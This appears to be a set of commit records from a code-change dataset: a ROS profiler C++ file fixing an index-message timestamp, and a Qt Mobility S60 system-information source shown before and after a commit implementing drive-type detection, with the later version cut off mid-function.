<commit_msg>Fix timestamp on profiler index messages.<commit_after>#include <ros/this_node.h>
#include <swri_profiler/profiler.h>
#include <ros/publisher.h>
#include <swri_profiler_msgs/ProfileIndex.h>
#include <swri_profiler_msgs/ProfileIndexArray.h>
#include <swri_profiler_msgs/ProfileData.h>
#include <swri_profiler_msgs/ProfileDataArray.h>
namespace spm = swri_profiler_msgs;
namespace swri_profiler
{
// Define/initialize static member variables for the Profiler class.
std::unordered_map<std::string, Profiler::ClosedInfo> Profiler::closed_blocks_;
std::unordered_map<std::string, Profiler::OpenInfo> Profiler::open_blocks_;
boost::thread_specific_ptr<Profiler::TLS> Profiler::tls_;
SpinLock Profiler::lock_;
// Declare some more variables. These are essentially more private
// static members for the Profiler, but by using static global
// variables instead we are able to keep more of the implementation
// isolated.
static bool profiler_initialized_ = false;
static ros::Publisher profiler_index_pub_;
static ros::Publisher profiler_data_pub_;
static boost::thread profiler_thread_;
// collectAndPublish resets the closed_blocks_ member after each
// update to reduce the amount of copying done (which might block the
// threads doing actual work). The incremental snapshots are
// collected here in all_closed_blocks_;
static std::unordered_map<std::string, spm::ProfileData> all_closed_blocks_;
static ros::Duration durationFromWall(const ros::WallDuration &src)
{
return ros::Duration(src.sec, src.nsec);
}
static ros::Time timeFromWall(const ros::WallTime &src)
{
return ros::Time(src.sec, src.nsec);
}
void Profiler::initializeProfiler()
{
SpinLockGuard guard(lock_);
if (profiler_initialized_) {
return;
}
ROS_INFO("Initializing swri_profiler...");
ros::NodeHandle nh;
profiler_index_pub_ = nh.advertise<spm::ProfileIndexArray>("/profiler/index", 1, true);
profiler_data_pub_ = nh.advertise<spm::ProfileDataArray>("/profiler/data", 100, false);
profiler_thread_ = boost::thread(Profiler::profilerMain);
profiler_initialized_ = true;
}
void Profiler::initializeTLS()
{
if (tls_.get()) {
ROS_ERROR("Attempt to initialize thread local storage again.");
return;
}
tls_.reset(new TLS());
tls_->stack_depth = 0;
tls_->stack_str = "";
char buffer[256];
snprintf(buffer, sizeof(buffer), "%p/", tls_.get());
tls_->thread_prefix = std::string(buffer);
initializeProfiler();
}
void Profiler::profilerMain()
{
ROS_DEBUG("swri_profiler thread started.");
while (ros::ok()) {
// Align updates to approximately every second.
ros::WallTime now = ros::WallTime::now();
ros::WallTime next(now.sec+1,0);
(next-now).sleep();
collectAndPublish();
}
ROS_DEBUG("swri_profiler thread stopped.");
}
void Profiler::collectAndPublish()
{
// Grab a snapshot of the current state.
std::unordered_map<std::string, ClosedInfo> new_closed_blocks;
std::unordered_map<std::string, OpenInfo> threaded_open_blocks;
ros::WallTime now = ros::WallTime::now();
{
SpinLockGuard guard(lock_);
new_closed_blocks.swap(closed_blocks_);
for (auto &pair : open_blocks_) {
threaded_open_blocks[pair.first].t0 = pair.second.t0;
pair.second.last_report_time = now;
}
}
// Reset all relative max durations.
for (auto &pair : all_closed_blocks_) {
pair.second.rel_total_duration = ros::Duration(0);
pair.second.rel_max_duration = ros::Duration(0);
}
// Flag to indicate if a new item was added.
bool update_index = false;
// Merge the new stats into the absolute stats
for (auto const &pair : new_closed_blocks) {
const auto &label = pair.first;
const auto &new_info = pair.second;
auto &all_info = all_closed_blocks_[label];
if (all_info.key == 0) {
update_index = true;
all_info.key = all_closed_blocks_.size();
}
all_info.abs_call_count += new_info.count;
all_info.abs_total_duration += durationFromWall(new_info.total_duration);
all_info.rel_total_duration += durationFromWall(new_info.rel_duration);
all_info.rel_max_duration = std::max(all_info.rel_max_duration,
durationFromWall(new_info.max_duration));
}
// Combine the open blocks from all threads into a single
// map.
std::unordered_map<std::string, spm::ProfileData> combined_open_blocks;
for (auto const &pair : threaded_open_blocks) {
const auto &threaded_label = pair.first;
const auto &threaded_info = pair.second;
size_t slash_index = threaded_label.find('/');
if (slash_index == std::string::npos) {
ROS_ERROR("Missing expected slash in label: %s", threaded_label.c_str());
continue;
}
ros::Duration duration = durationFromWall(now - threaded_info.t0);
const auto label = threaded_label.substr(slash_index+1);
auto &new_info = combined_open_blocks[label];
if (new_info.key == 0) {
auto &all_info = all_closed_blocks_[label];
if (all_info.key == 0) {
update_index = true;
all_info.key = all_closed_blocks_.size();
}
new_info.key = all_info.key;
}
new_info.abs_call_count++;
new_info.abs_total_duration += duration;
new_info.rel_total_duration += std::min(ros::Duration(1.0), duration);
new_info.rel_max_duration = std::max(new_info.rel_max_duration, duration);
}
if (update_index) {
spm::ProfileIndexArray index;
index.header.stamp = timeFromWall(now);
index.header.frame_id = ros::this_node::getName();
index.data.resize(all_closed_blocks_.size());
for (auto const &pair : all_closed_blocks_) {
size_t i = pair.second.key - 1;
index.data[i].key = pair.second.key;
index.data[i].label = pair.first;
}
profiler_index_pub_.publish(index);
}
// Generate output message
spm::ProfileDataArray msg;
msg.header.stamp = timeFromWall(now);
msg.header.frame_id = ros::this_node::getName();
msg.data.resize(all_closed_blocks_.size());
for (auto &pair : all_closed_blocks_) {
auto const &item = pair.second;
size_t i = item.key - 1;
msg.data[i].key = item.key;
msg.data[i].abs_call_count = item.abs_call_count;
msg.data[i].abs_total_duration = item.abs_total_duration;
msg.data[i].rel_total_duration = item.rel_total_duration;
msg.data[i].rel_max_duration = item.rel_max_duration;
}
for (auto &pair : combined_open_blocks) {
auto const &item = pair.second;
size_t i = item.key - 1;
msg.data[i].abs_call_count += item.abs_call_count;
msg.data[i].abs_total_duration += item.abs_total_duration;
msg.data[i].rel_total_duration += item.rel_total_duration;
msg.data[i].rel_max_duration = std::max(
msg.data[i].rel_max_duration,
item.rel_max_duration);
}
profiler_data_pub_.publish(msg);
}
} // namespace swri_profiler
<|endoftext|> |
<commit_before>/****************************************************************************
**
** Copyright (c) 2008-2009 Nokia Corporation and/or its subsidiary(-ies).
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the Qt Mobility Components.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the Technology Preview License Agreement accompanying
** this package.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain
** additional rights. These rights are described in the Nokia Qt LGPL
** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this
** package.
**
** If you have questions regarding the use of this file, please
** contact Nokia at http://qt.nokia.com/contact.
** $QT_END_LICENSE$
**
****************************************************************************/
#include "qsysteminfo.h"
#include "qsysteminfo_s60_p.h"
#include <QStringList>
#include <SysUtil.h>
//////// QSystemInfo
QSystemInfoPrivate::QSystemInfoPrivate(QObject *parent)
: QObject(parent)
{
}
QSystemInfoPrivate::~QSystemInfoPrivate()
{
}
QString QSystemInfoPrivate::currentLanguage() const
{
return QString(); //TODO
}
QStringList QSystemInfoPrivate::availableLanguages() const
{
return QStringList(); //TODO
}
QString QSystemInfoPrivate::version(QSystemInfo::Version type, const QString ¶meter)
{
return QString(); //TODO
}
QString QSystemInfoPrivate::currentCountryCode() const
{
return QString(); //TODO
}
bool QSystemInfoPrivate::hasFeatureSupported(QSystemInfo::Feature feature)
{
return false; //TODO
}
//////// QSystemNetworkInfo
QSystemNetworkInfoPrivate::QSystemNetworkInfoPrivate(QObject *parent)
: QObject(parent)
{
DeviceInfo::instance()->cellSignalStrenghtInfo()->addObserver(this);
}
QSystemNetworkInfoPrivate::~QSystemNetworkInfoPrivate()
{
DeviceInfo::instance()->cellSignalStrenghtInfo()->removeObserver(this);
}
QSystemNetworkInfo::NetworkStatus QSystemNetworkInfoPrivate::networkStatus(QSystemNetworkInfo::NetworkMode mode)
{
//TODO: CDMA, WCDMA and WLAN modes
switch(mode) {
case QSystemNetworkInfo::GsmMode:
{
CTelephony::TRegistrationStatus networkStatus = DeviceInfo::instance()
->cellNetworkRegistrationInfo()->cellNetworkStatus();
switch(networkStatus) {
case CTelephony::ERegistrationUnknown:
return QSystemNetworkInfo::UndefinedStatus;
case CTelephony::ENotRegisteredNoService:
return QSystemNetworkInfo::NoNetworkAvailable;
case CTelephony::ENotRegisteredEmergencyOnly:
return QSystemNetworkInfo::EmergencyOnly;
case CTelephony::ENotRegisteredSearching:
return QSystemNetworkInfo::Searching;
case CTelephony::ERegisteredBusy:
return QSystemNetworkInfo::Busy;
/*
case CTelephony::ERegisteredOnHomeNetwork: //How this case should be handled? There are no connected state in CTelephony. Should this be same as HomeNetwork?
return QSystemNetworkInfo::Connected;
*/
case CTelephony::ERegisteredOnHomeNetwork:
return QSystemNetworkInfo::HomeNetwork;
case CTelephony::ERegistrationDenied:
return QSystemNetworkInfo::Denied;
case CTelephony::ERegisteredRoaming:
return QSystemNetworkInfo::Roaming;
};
}
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
return QSystemNetworkInfo::NoNetworkAvailable;
}
int QSystemNetworkInfoPrivate::networkSignalStrength(QSystemNetworkInfo::NetworkMode mode)
{
//TODO: CDMA, WCDMA and WLAN modes
switch(mode) {
case QSystemNetworkInfo::GsmMode:
return DeviceInfo::instance()->cellSignalStrenghtInfo()->cellNetworkSignalStrength();
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
return -1; //TODO
}
int QSystemNetworkInfoPrivate::cellId()
{
return DeviceInfo::instance()->cellNetworkInfo()->cellId();
}
int QSystemNetworkInfoPrivate::locationAreaCode()
{
return DeviceInfo::instance()->cellNetworkInfo()->locationAreaCode();
}
// Mobile Country Code
QString QSystemNetworkInfoPrivate::currentMobileCountryCode()
{
return DeviceInfo::instance()->cellNetworkInfo()->countryCode();
}
// Mobile Network Code
QString QSystemNetworkInfoPrivate::currentMobileNetworkCode()
{
return DeviceInfo::instance()->cellNetworkInfo()->networkCode();
}
QString QSystemNetworkInfoPrivate::homeMobileCountryCode()
{
QString imsi = DeviceInfo::instance()->subscriberInfo()->imsi();
if (imsi.length() >= 3) {
return imsi.left(3);
}
return QString();
}
QString QSystemNetworkInfoPrivate::homeMobileNetworkCode()
{
return QString(); //TODO
}
QString QSystemNetworkInfoPrivate::networkName(QSystemNetworkInfo::NetworkMode mode)
{
//TODO: CDMA, WCDMA and WLAN modes
switch(mode) {
case QSystemNetworkInfo::GsmMode:
return DeviceInfo::instance()->cellNetworkInfo()->networkName();
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
}
QString QSystemNetworkInfoPrivate::macAddress(QSystemNetworkInfo::NetworkMode mode)
{
switch(mode) {
case QSystemNetworkInfo::GsmMode:
break;
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
return QString(); //TODO
}
QNetworkInterface QSystemNetworkInfoPrivate::interfaceForMode(QSystemNetworkInfo::NetworkMode mode)
{
return QNetworkInterface(); //TODO
}
void QSystemNetworkInfoPrivate::countryCodeChanged()
{
emit currentMobileCountryCodeChanged(DeviceInfo::instance()->cellNetworkInfo()->countryCode());
}
void QSystemNetworkInfoPrivate::networkCodeChanged()
{
emit currentMobileNetworkCodeChanged(DeviceInfo::instance()->cellNetworkInfo()->networkCode());
}
void QSystemNetworkInfoPrivate::networkNameChanged()
{
emit networkNameChanged(QSystemNetworkInfo::GsmMode, DeviceInfo::instance()->cellNetworkInfo()->networkName());
}
void QSystemNetworkInfoPrivate::cellNetworkSignalStrengthChanged()
{
emit networkSignalStrengthChanged(QSystemNetworkInfo::GsmMode,
DeviceInfo::instance()->cellSignalStrenghtInfo()->cellNetworkSignalStrength());
}
void QSystemNetworkInfoPrivate::cellNetworkStatusChanged()
{
//TODO
}
//////// QSystemDisplayInfo
QSystemDisplayInfoPrivate::QSystemDisplayInfoPrivate(QObject *parent)
: QObject(parent)
{
}
QSystemDisplayInfoPrivate::~QSystemDisplayInfoPrivate()
{
}
int QSystemDisplayInfoPrivate::displayBrightness(int screen)
{
return -1; //TODO
}
int QSystemDisplayInfoPrivate::colorDepth(int screen)
{
return -1; //TODO
}
//////// QSystemStorageInfo
QSystemStorageInfoPrivate::QSystemStorageInfoPrivate(QObject *parent)
: QObject(parent)
{
iFs.Connect();
}
QSystemStorageInfoPrivate::~QSystemStorageInfoPrivate()
{
iFs.Close();
}
qlonglong QSystemStorageInfoPrivate::totalDiskSpace(const QString &driveVolume)
{
if (driveVolume.size() != 1) {
return -1;
}
TInt drive;
if (RFs::CharToDrive(TChar(driveVolume[0].toAscii()), drive) != KErrNone) {
return -1;
}
TVolumeInfo volumeInfo;
if (iFs.Volume(volumeInfo, drive) != KErrNone) {
return -1;
}
return volumeInfo.iSize;
}
qlonglong QSystemStorageInfoPrivate::availableDiskSpace(const QString &driveVolume)
{
if (driveVolume.size() != 1) {
return -1;
}
TInt drive;
if (RFs::CharToDrive(TChar(driveVolume[0].toAscii()), drive) != KErrNone) {
return -1;
}
TVolumeInfo volumeInfo;
if (iFs.Volume(volumeInfo, drive) != KErrNone) {
return -1;
}
return volumeInfo.iFree;
}
QStringList QSystemStorageInfoPrivate::logicalDrives()
{
QStringList logicalDrives;
RFs fsSession;
TRAPD(err,
User::LeaveIfError(fsSession.Connect());
CleanupClosePushL(fsSession);
TDriveList drivelist;
User::LeaveIfError(fsSession.DriveList(drivelist));
for (int i = 0; i < KMaxDrives; ++i) {
if (drivelist[i] != 0) {
TChar driveChar;
User::LeaveIfError(RFs::DriveToChar(i, driveChar));
logicalDrives << QChar(driveChar);
}
}
CleanupStack::PopAndDestroy(&fsSession);
)
if (err != KErrNone) {
return QStringList();
}
return logicalDrives;
}
QSystemStorageInfo::DriveType QSystemStorageInfoPrivate::typeForDrive(const QString &driveVolume)
{
return QSystemStorageInfo::NoDrive;
};
//////// QSystemDeviceInfo
QSystemDeviceInfoPrivate::QSystemDeviceInfoPrivate(QObject *parent)
: QObject(parent)
{
DeviceInfo::instance()->batteryInfo()->addObserver(this);
}
QSystemDeviceInfoPrivate::~QSystemDeviceInfoPrivate()
{
DeviceInfo::instance()->batteryInfo()->removeObserver(this);
}
QSystemDeviceInfo::Profile QSystemDeviceInfoPrivate::currentProfile()
{
return QSystemDeviceInfo::UnknownProfile; //TODO
}
QSystemDeviceInfo::InputMethodFlags QSystemDeviceInfoPrivate::inputMethodType()
{
QSystemDeviceInfo::InputMethodFlags methods; //TODO
return methods;
}
QSystemDeviceInfo::PowerState QSystemDeviceInfoPrivate::currentPowerState()
{
CTelephony::TBatteryStatus batteryStatus = DeviceInfo::instance()->batteryInfo()->batteryStatus();
switch (batteryStatus) {
case CTelephony::EPoweredByBattery:
return QSystemDeviceInfo::BatteryPower;
case CTelephony::EBatteryConnectedButExternallyPowered:
{
if (DeviceInfo::instance()->batteryInfo()->batteryLevel() < 100) { //TODO: Use real indicator, EPSHWRMChargingStatus::EChargingStatusNotCharging?
return QSystemDeviceInfo::WallPowerChargingBattery;
} else {
return QSystemDeviceInfo::WallPower;
}
return QSystemDeviceInfo::WallPower;
}
case CTelephony::ENoBatteryConnected:
return QSystemDeviceInfo::WallPower;
case CTelephony::EPowerFault:
case CTelephony::EPowerStatusUnknown:
default:
return QSystemDeviceInfo::UnknownPower;
}
}
QString QSystemDeviceInfoPrivate::imei()
{
return DeviceInfo::instance()->phoneInfo()->imei();
}
QString QSystemDeviceInfoPrivate::imsi()
{
return DeviceInfo::instance()->subscriberInfo()->imsi();
}
QString QSystemDeviceInfoPrivate::manufacturer()
{
return DeviceInfo::instance()->phoneInfo()->manufacturer();
}
QString QSystemDeviceInfoPrivate::model()
{
return DeviceInfo::instance()->phoneInfo()->model();
}
QString QSystemDeviceInfoPrivate::productName()
{
QString productname;
TBuf<KSysUtilVersionTextLength> versionBuf;
if (SysUtil::GetSWVersion(versionBuf) == KErrNone) {
productname = QString::fromUtf16(versionBuf.Ptr(), versionBuf.Length());
}
return productname.split("\n").at(2);
}
int QSystemDeviceInfoPrivate::batteryLevel() const
{
return DeviceInfo::instance()->batteryInfo()->batteryLevel();
}
QSystemDeviceInfo::BatteryStatus QSystemDeviceInfoPrivate::batteryStatus()
{
//TODO: To be moved in QSystemDeviceInfo?
int batteryLevel = DeviceInfo::instance()->batteryInfo()->batteryLevel();
if(batteryLevel < 4) {
return QSystemDeviceInfo::BatteryCritical;
} else if (batteryLevel < 11) {
return QSystemDeviceInfo::BatteryVeryLow;
} else if (batteryLevel < 41) {
return QSystemDeviceInfo::BatteryLow;
} else if (batteryLevel > 40) {
return QSystemDeviceInfo::BatteryNormal;
}
return QSystemDeviceInfo::NoBatteryLevel;
}
QSystemDeviceInfo::SimStatus QSystemDeviceInfoPrivate::simStatus()
{
return QSystemDeviceInfo::SimNotAvailable; //TODO
}
bool QSystemDeviceInfoPrivate::isDeviceLocked()
{
return false; //TODO
}
void QSystemDeviceInfoPrivate::batteryLevelChanged()
{
emit batteryLevelChanged(batteryLevel());
int batteryLevel = DeviceInfo::instance()->batteryInfo()->batteryLevel();
QSystemDeviceInfo::BatteryStatus status(batteryStatus());
if(batteryLevel < 4 && status != QSystemDeviceInfo::BatteryCritical) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryCritical);
} else if (batteryLevel < 11 && status != QSystemDeviceInfo::BatteryVeryLow) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryVeryLow);
} else if (batteryLevel < 41 && status != QSystemDeviceInfo::BatteryLow) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryLow);
} else if (batteryLevel > 40 && status != QSystemDeviceInfo::BatteryNormal) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryNormal);
} else {
emit batteryStatusChanged(QSystemDeviceInfo::NoBatteryLevel);
}
}
void QSystemDeviceInfoPrivate::powerStateChanged()
{
emit powerStateChanged(currentPowerState());
}
DeviceInfo *DeviceInfo::m_instance = NULL;
//////// QSystemScreenSaver
QSystemScreenSaverPrivate::QSystemScreenSaverPrivate(QObject *parent)
: QObject(parent)
{
}
QT_END_NAMESPACE
<commit_msg>typeForDrive for S60<commit_after>/****************************************************************************
**
** Copyright (c) 2008-2009 Nokia Corporation and/or its subsidiary(-ies).
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the Qt Mobility Components.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the Technology Preview License Agreement accompanying
** this package.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain
** additional rights. These rights are described in the Nokia Qt LGPL
** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this
** package.
**
** If you have questions regarding the use of this file, please
** contact Nokia at http://qt.nokia.com/contact.
** $QT_END_LICENSE$
**
****************************************************************************/
#include "qsysteminfo.h"
#include "qsysteminfo_s60_p.h"
#include <QStringList>
#include <SysUtil.h>
//////// QSystemInfo
QSystemInfoPrivate::QSystemInfoPrivate(QObject *parent)
: QObject(parent)
{
}
QSystemInfoPrivate::~QSystemInfoPrivate()
{
}
QString QSystemInfoPrivate::currentLanguage() const
{
return QString(); //TODO
}
QStringList QSystemInfoPrivate::availableLanguages() const
{
return QStringList(); //TODO
}
QString QSystemInfoPrivate::version(QSystemInfo::Version type, const QString ¶meter)
{
return QString(); //TODO
}
QString QSystemInfoPrivate::currentCountryCode() const
{
return QString(); //TODO
}
bool QSystemInfoPrivate::hasFeatureSupported(QSystemInfo::Feature feature)
{
return false; //TODO
}
//////// QSystemNetworkInfo
QSystemNetworkInfoPrivate::QSystemNetworkInfoPrivate(QObject *parent)
: QObject(parent)
{
DeviceInfo::instance()->cellSignalStrenghtInfo()->addObserver(this);
}
QSystemNetworkInfoPrivate::~QSystemNetworkInfoPrivate()
{
DeviceInfo::instance()->cellSignalStrenghtInfo()->removeObserver(this);
}
QSystemNetworkInfo::NetworkStatus QSystemNetworkInfoPrivate::networkStatus(QSystemNetworkInfo::NetworkMode mode)
{
//TODO: CDMA, WCDMA and WLAN modes
switch(mode) {
case QSystemNetworkInfo::GsmMode:
{
CTelephony::TRegistrationStatus networkStatus = DeviceInfo::instance()
->cellNetworkRegistrationInfo()->cellNetworkStatus();
switch(networkStatus) {
case CTelephony::ERegistrationUnknown:
return QSystemNetworkInfo::UndefinedStatus;
case CTelephony::ENotRegisteredNoService:
return QSystemNetworkInfo::NoNetworkAvailable;
case CTelephony::ENotRegisteredEmergencyOnly:
return QSystemNetworkInfo::EmergencyOnly;
case CTelephony::ENotRegisteredSearching:
return QSystemNetworkInfo::Searching;
case CTelephony::ERegisteredBusy:
return QSystemNetworkInfo::Busy;
/*
case CTelephony::ERegisteredOnHomeNetwork: //How this case should be handled? There are no connected state in CTelephony. Should this be same as HomeNetwork?
return QSystemNetworkInfo::Connected;
*/
case CTelephony::ERegisteredOnHomeNetwork:
return QSystemNetworkInfo::HomeNetwork;
case CTelephony::ERegistrationDenied:
return QSystemNetworkInfo::Denied;
case CTelephony::ERegisteredRoaming:
return QSystemNetworkInfo::Roaming;
};
}
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
return QSystemNetworkInfo::NoNetworkAvailable;
}
int QSystemNetworkInfoPrivate::networkSignalStrength(QSystemNetworkInfo::NetworkMode mode)
{
//TODO: CDMA, WCDMA and WLAN modes
switch(mode) {
case QSystemNetworkInfo::GsmMode:
return DeviceInfo::instance()->cellSignalStrenghtInfo()->cellNetworkSignalStrength();
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
return -1; //TODO
}
int QSystemNetworkInfoPrivate::cellId()
{
return DeviceInfo::instance()->cellNetworkInfo()->cellId();
}
int QSystemNetworkInfoPrivate::locationAreaCode()
{
return DeviceInfo::instance()->cellNetworkInfo()->locationAreaCode();
}
// Mobile Country Code
QString QSystemNetworkInfoPrivate::currentMobileCountryCode()
{
return DeviceInfo::instance()->cellNetworkInfo()->countryCode();
}
// Mobile Network Code
QString QSystemNetworkInfoPrivate::currentMobileNetworkCode()
{
return DeviceInfo::instance()->cellNetworkInfo()->networkCode();
}
QString QSystemNetworkInfoPrivate::homeMobileCountryCode()
{
QString imsi = DeviceInfo::instance()->subscriberInfo()->imsi();
if (imsi.length() >= 3) {
return imsi.left(3);
}
return QString();
}
QString QSystemNetworkInfoPrivate::homeMobileNetworkCode()
{
return QString(); //TODO
}
QString QSystemNetworkInfoPrivate::networkName(QSystemNetworkInfo::NetworkMode mode)
{
//TODO: CDMA, WCDMA and WLAN modes
switch(mode) {
case QSystemNetworkInfo::GsmMode:
return DeviceInfo::instance()->cellNetworkInfo()->networkName();
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
}
QString QSystemNetworkInfoPrivate::macAddress(QSystemNetworkInfo::NetworkMode mode)
{
switch(mode) {
case QSystemNetworkInfo::GsmMode:
break;
case QSystemNetworkInfo::CdmaMode:
break;
case QSystemNetworkInfo::WcdmaMode:
break;
case QSystemNetworkInfo::WlanMode:
break;
case QSystemNetworkInfo::EthernetMode:
break;
case QSystemNetworkInfo::BluetoothMode:
break;
case QSystemNetworkInfo::WimaxMode:
break;
};
return QString(); //TODO
}
QNetworkInterface QSystemNetworkInfoPrivate::interfaceForMode(QSystemNetworkInfo::NetworkMode mode)
{
return QNetworkInterface(); //TODO
}
void QSystemNetworkInfoPrivate::countryCodeChanged()
{
emit currentMobileCountryCodeChanged(DeviceInfo::instance()->cellNetworkInfo()->countryCode());
}
void QSystemNetworkInfoPrivate::networkCodeChanged()
{
emit currentMobileNetworkCodeChanged(DeviceInfo::instance()->cellNetworkInfo()->networkCode());
}
void QSystemNetworkInfoPrivate::networkNameChanged()
{
emit networkNameChanged(QSystemNetworkInfo::GsmMode, DeviceInfo::instance()->cellNetworkInfo()->networkName());
}
void QSystemNetworkInfoPrivate::cellNetworkSignalStrengthChanged()
{
emit networkSignalStrengthChanged(QSystemNetworkInfo::GsmMode,
DeviceInfo::instance()->cellSignalStrenghtInfo()->cellNetworkSignalStrength());
}
void QSystemNetworkInfoPrivate::cellNetworkStatusChanged()
{
//TODO
}
//////// QSystemDisplayInfo
QSystemDisplayInfoPrivate::QSystemDisplayInfoPrivate(QObject *parent)
: QObject(parent)
{
}
QSystemDisplayInfoPrivate::~QSystemDisplayInfoPrivate()
{
}
int QSystemDisplayInfoPrivate::displayBrightness(int screen)
{
return -1; //TODO
}
int QSystemDisplayInfoPrivate::colorDepth(int screen)
{
return -1; //TODO
}
//////// QSystemStorageInfo
QSystemStorageInfoPrivate::QSystemStorageInfoPrivate(QObject *parent)
: QObject(parent)
{
iFs.Connect();
}
QSystemStorageInfoPrivate::~QSystemStorageInfoPrivate()
{
iFs.Close();
}
qlonglong QSystemStorageInfoPrivate::totalDiskSpace(const QString &driveVolume)
{
if (driveVolume.size() != 1) {
return -1;
}
TInt drive;
if (RFs::CharToDrive(TChar(driveVolume[0].toAscii()), drive) != KErrNone) {
return -1;
}
TVolumeInfo volumeInfo;
if (iFs.Volume(volumeInfo, drive) != KErrNone) {
return -1;
}
return volumeInfo.iSize;
}
qlonglong QSystemStorageInfoPrivate::availableDiskSpace(const QString &driveVolume)
{
if (driveVolume.size() != 1) {
return -1;
}
TInt drive;
if (RFs::CharToDrive(TChar(driveVolume[0].toAscii()), drive) != KErrNone) {
return -1;
}
TVolumeInfo volumeInfo;
if (iFs.Volume(volumeInfo, drive) != KErrNone) {
return -1;
}
return volumeInfo.iFree;
}
QStringList QSystemStorageInfoPrivate::logicalDrives()
{
QStringList logicalDrives;
RFs fsSession;
TRAPD(err,
User::LeaveIfError(fsSession.Connect());
CleanupClosePushL(fsSession);
TDriveList drivelist;
User::LeaveIfError(fsSession.DriveList(drivelist));
for (int i = 0; i < KMaxDrives; ++i) {
if (drivelist[i] != 0) {
TChar driveChar;
User::LeaveIfError(RFs::DriveToChar(i, driveChar));
logicalDrives << QChar(driveChar);
}
}
CleanupStack::PopAndDestroy(&fsSession);
)
if (err != KErrNone) {
return QStringList();
}
return logicalDrives;
}
QSystemStorageInfo::DriveType QSystemStorageInfoPrivate::typeForDrive(const QString &driveVolume)
{
if (driveVolume.size() != 1) {
return QSystemStorageInfo::NoDrive;
}
TInt drive;
if (RFs::CharToDrive(TChar(driveVolume[0].toAscii()), drive) != KErrNone) {
return QSystemStorageInfo::NoDrive;
}
TDriveInfo driveInfo;
if (iFs.Drive(driveInfo, drive) != KErrNone) {
return QSystemStorageInfo::NoDrive;
}
switch (driveInfo.iType)
{
case EMediaNANDFlash:
case EMediaHardDisk:
case EMediaRam:
case EMediaRom:
return QSystemStorageInfo::InternalDrive;
case EMediaFloppy:
case EMediaFlash:
return QSystemStorageInfo::RemovableDrive;
case EMediaRemote:
return QSystemStorageInfo::RemoteDrive;
case EMediaCdRom:
return QSystemStorageInfo::CdromDrive;
case EMediaNotPresent:
case EMediaUnknown:
default:
return QSystemStorageInfo::NoDrive;
}
};
//////// QSystemDeviceInfo
QSystemDeviceInfoPrivate::QSystemDeviceInfoPrivate(QObject *parent)
: QObject(parent)
{
DeviceInfo::instance()->batteryInfo()->addObserver(this);
}
QSystemDeviceInfoPrivate::~QSystemDeviceInfoPrivate()
{
DeviceInfo::instance()->batteryInfo()->removeObserver(this);
}
QSystemDeviceInfo::Profile QSystemDeviceInfoPrivate::currentProfile()
{
return QSystemDeviceInfo::UnknownProfile; //TODO
}
QSystemDeviceInfo::InputMethodFlags QSystemDeviceInfoPrivate::inputMethodType()
{
QSystemDeviceInfo::InputMethodFlags methods; //TODO
return methods;
}
QSystemDeviceInfo::PowerState QSystemDeviceInfoPrivate::currentPowerState()
{
CTelephony::TBatteryStatus batteryStatus = DeviceInfo::instance()->batteryInfo()->batteryStatus();
switch (batteryStatus) {
case CTelephony::EPoweredByBattery:
return QSystemDeviceInfo::BatteryPower;
case CTelephony::EBatteryConnectedButExternallyPowered:
{
